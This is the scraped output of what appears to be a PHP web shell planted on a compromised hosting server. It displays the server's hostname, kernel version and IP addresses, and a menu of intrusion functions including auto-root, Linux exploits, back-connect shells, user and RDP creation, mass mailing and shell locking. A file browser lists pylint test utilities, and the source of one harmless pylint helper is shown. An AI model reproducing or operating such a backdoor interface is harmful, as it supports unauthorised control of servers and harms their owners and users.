Linux boca.hozzt.com 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
: 159.253.39.62 | : 18.119.133.241
Cant Read [ /etc/named.conf ]
7.4.33
renovkoron
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
cloudlinux /
venv /
lib /
python3.11 /
site-packages /
pylint /
testutils /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
_primer
[ DIR ]
drwxr-xr-x
functional
[ DIR ]
drwxr-xr-x
__init__.py
1.28
KB
-rw-r--r--
_run.py
1.51
KB
-rw-r--r--
checker_test_case.py
4.27
KB
-rw-r--r--
configuration_test.py
5.89
KB
-rw-r--r--
constants.py
1.12
KB
-rw-r--r--
decorator.py
1.22
KB
-rw-r--r--
functional_test_file.py
635
B
-rw-r--r--
get_test_info.py
2.08
KB
-rw-r--r--
global_test_linter.py
685
B
-rw-r--r--
lint_module_test.py
12.5
KB
-rw-r--r--
output_line.py
5.76
KB
-rw-r--r--
pyreverse.py
4.1
KB
-rw-r--r--
reporter_for_tests.py
2.25
KB
-rw-r--r--
testing_pylintrc
198
B
-rw-r--r--
tokenize_str.py
447
B
-rw-r--r--
unittest_linter.py
2.73
KB
-rw-r--r--
utils.py
3.06
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : get_test_info.py
# Licensed under the GPL: https://www.gnu.org/licenses/old-licenses/gpl-2.0.html # For details: https://github.com/PyCQA/pylint/blob/main/LICENSE # Copyright (c) https://github.com/PyCQA/pylint/blob/main/CONTRIBUTORS.txt from __future__ import annotations from glob import glob from os.path import basename, join, splitext from pylint.testutils.constants import SYS_VERS_STR def _get_tests_info( input_dir: str, msg_dir: str, prefix: str, suffix: str ) -> list[tuple[str, str]]: """Get python input examples and output messages. We use following conventions for input files and messages: for different inputs: test for python >= x.y -> input = <name>_pyxy.py test for python < x.y -> input = <name>_py_xy.py for one input and different messages: message for python >= x.y -> message = <name>_pyxy.txt lower versions -> message with highest num """ result = [] for fname in glob(join(input_dir, prefix + "*" + suffix)): infile = basename(fname) fbase = splitext(infile)[0] # filter input files : pyrestr = fbase.rsplit("_py", 1)[-1] # like _26 or 26 if pyrestr.isdigit(): # '24', '25'... if pyrestr.isdigit() and int(SYS_VERS_STR) < int(pyrestr): continue if pyrestr.startswith("_") and pyrestr[1:].isdigit(): # skip test for higher python versions if pyrestr[1:].isdigit() and int(SYS_VERS_STR) >= int(pyrestr[1:]): continue messages = glob(join(msg_dir, fbase + "*.txt")) # the last one will be without ext, i.e. for all or upper versions: if messages: for outfile in sorted(messages, reverse=True): py_rest = outfile.rsplit("_py", 1)[-1][:-4] if py_rest.isdigit() and int(SYS_VERS_STR) >= int(py_rest): break else: # This will provide an error message indicating the missing filename. outfile = join(msg_dir, fbase + ".txt") result.append((infile, outfile)) return result
Close